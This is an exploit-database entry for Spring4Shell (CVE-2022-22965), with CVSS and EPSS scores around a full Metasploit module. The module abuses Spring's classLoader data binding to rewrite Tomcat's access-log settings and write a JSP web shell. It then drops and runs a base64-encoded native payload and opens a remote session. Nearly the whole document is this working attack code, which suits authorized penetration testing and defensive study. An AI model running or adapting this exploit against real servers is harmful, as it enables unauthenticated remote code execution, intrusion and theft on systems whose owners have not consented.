Lucene search

K
zdtVleminator1337DAY-ID-37692
HistoryMay 10, 2022 - 12:00 a.m.

Spring4Shell Spring Framework Class Property Remote Code Execution Exploit

2022-05-1000:00:00
vleminator
0day.today
253

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable to remote code execution due to an unsafe data binding used to populate an object from request parameters to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can gain remote code execution.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking # It's going to manipulate the Class Loader

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
        'Description' => %q{
          Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
          and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
          to remote code execution due to an unsafe data binding used to populate an object from request parameters
          to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
          org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
          class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
          gain remote code execution.
        },
        'Author' => [
          'vleminator <vleminator[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-22965'],
          ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
          ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
        ],
        'Platform' => %w[linux win],
        'Payload' => {
          'Space' => 5000,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => %w[linux win]
            },
          ],
          [
            'Linux',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux'
            }
          ],
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-03-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Spring4Shell', 'SpringShell'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
        OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
        OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
      ]
    )
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def jsp_dropper(file, exe)
    # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
    dropper = <<~EOS
      <%@ page import=\"java.io.FileOutputStream\" %>
      <%@ page import=\"java.util.Base64\" %>
      <%@ page import=\"java.io.File\" %>
      <%
        FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
        oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
        oFile.flush();
        oFile.close();
        File f = new File(\"#{file}\");
        f.setExecutable(true);
        Runtime.getRuntime().exec(\"#{file}\");
      %>
    EOS

    dropper
  end

  def modify_class_loader(method, opts)
    cl_prefix = 'class.module.classLoader'

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method' => method,
      'headers' => {
        'c1' => '<%', # %{c1}i replacement in payload
        'c2' => '%>' # %{c2}i replacement in payload
      },
      "vars_#{method == 'GET' ? 'get' : 'post'}" => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })
  end

  def check_log_file
    print_status("#{peer} - Waiting for the server to flush the logfile")
    print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")

    succeeded = retry_until_true(timeout: 60) do
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(@jsp_file)
      })

      res&.code == 200 && !res.body.blank?
    end

    fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded

    print_good("#{peer} - Log file flushed")
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ''
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l =~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    jsp = <<~EOS
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
        jsp.delete();
      %>
      #{Faker::Internet.uuid}
    EOS
    if target['Arch'] == ARCH_JAVA
      jsp << fix(payload.encoded)
    else
      payload_exe = generate_payload_exe
      payload_filename = rand_text_alphanumeric(rand(4..7))

      if target['Platform'] == 'win'
        payload_path = datastore['WritableDir'] + '\\' + payload_filename
      else
        payload_path = datastore['WritableDir'] + '/' + payload_filename
      end

      jsp << jsp_dropper(payload_path, payload_exe)
      register_files_for_cleanup(payload_path)
    end

    jsp
  end

  def check
    @checkcode = _check
  end

  def _check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
    )

    return CheckCode::Unknown('Web server seems unresponsive') unless res

    if res.headers.key?('Server')
      res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
    else
      res.body.match(%r{Apache\s(.*)/([\d|.]+)})
    end

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)

    vprint_status("Detected #{server} #{version} running")

    if datastore['HTTP_METHOD'] == 'Automatic'
      # prefer POST over get to keep the vars out of the query string if possible
      methods = %w[POST GET]
    else
      methods = [ datastore['HTTP_METHOD'] ]
    end

    methods.each do |method|
      vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
      res = send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
      )

      # setting the default assertion status to a valid status
      send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
      )
      return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    prefix_jsp = rand_text_alphanumeric(rand(3..5))
    date_format = rand_text_numeric(rand(1..4))
    @jsp_file = prefix_jsp + date_format + '.jsp'
    http_method = datastore['HTTP_METHOD']
    if http_method == 'Automatic'
      # if the check was skipped but we need to automatically identify the method, we have to run it here
      @checkcode = check if @checkcode.nil?
      http_method = @checkcode.details[:method]
      fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?

      print_good("Automatically identified HTTP method: #{http_method}")
    end

    # if the check method ran automatically, add a short delay before continuing with exploitation
    sleep(5) if @checkcode

    # Prepare the JSP
    print_status("#{peer} - Generating JSP...")

    # rubocop:disable  Style/FormatStringToken
    jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
    # rubocop:enable  Style/FormatStringToken

    # Modify the Class Loader
    print_status("#{peer} - Modifying Class Loader...")
    properties = {
      payload: jsp,
      directory: datastore['PAYLOAD_PATH'],
      prefix: prefix_jsp,
      suffix: '.jsp',
      file_date_format: date_format
    }
    res = modify_class_loader(http_method, properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
      payload: '',
      directory: '',
      prefix: '',
      suffix: '',
      file_date_format: ''
    }

    modify_class_loader(http_method, properties)

    check_log_file

    handler
  end

  # Retry the block until it returns a truthy value. Each iteration attempt will
  # be performed with expoential backoff. If the timeout period surpasses, false is returned.
  def retry_until_true(timeout:)
    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
    ending_time = start_time + timeout
    retry_count = 0
    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
      result = yield
      return result if result

      retry_count += 1
      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
      break if remaining_time_budget <= 0

      delay = 2**retry_count
      if delay >= remaining_time_budget
        delay = remaining_time_budget
        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
      else
        vprint_status("Sleeping for #{delay} seconds before attempting again")
      end

      sleep delay
    end

    false
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%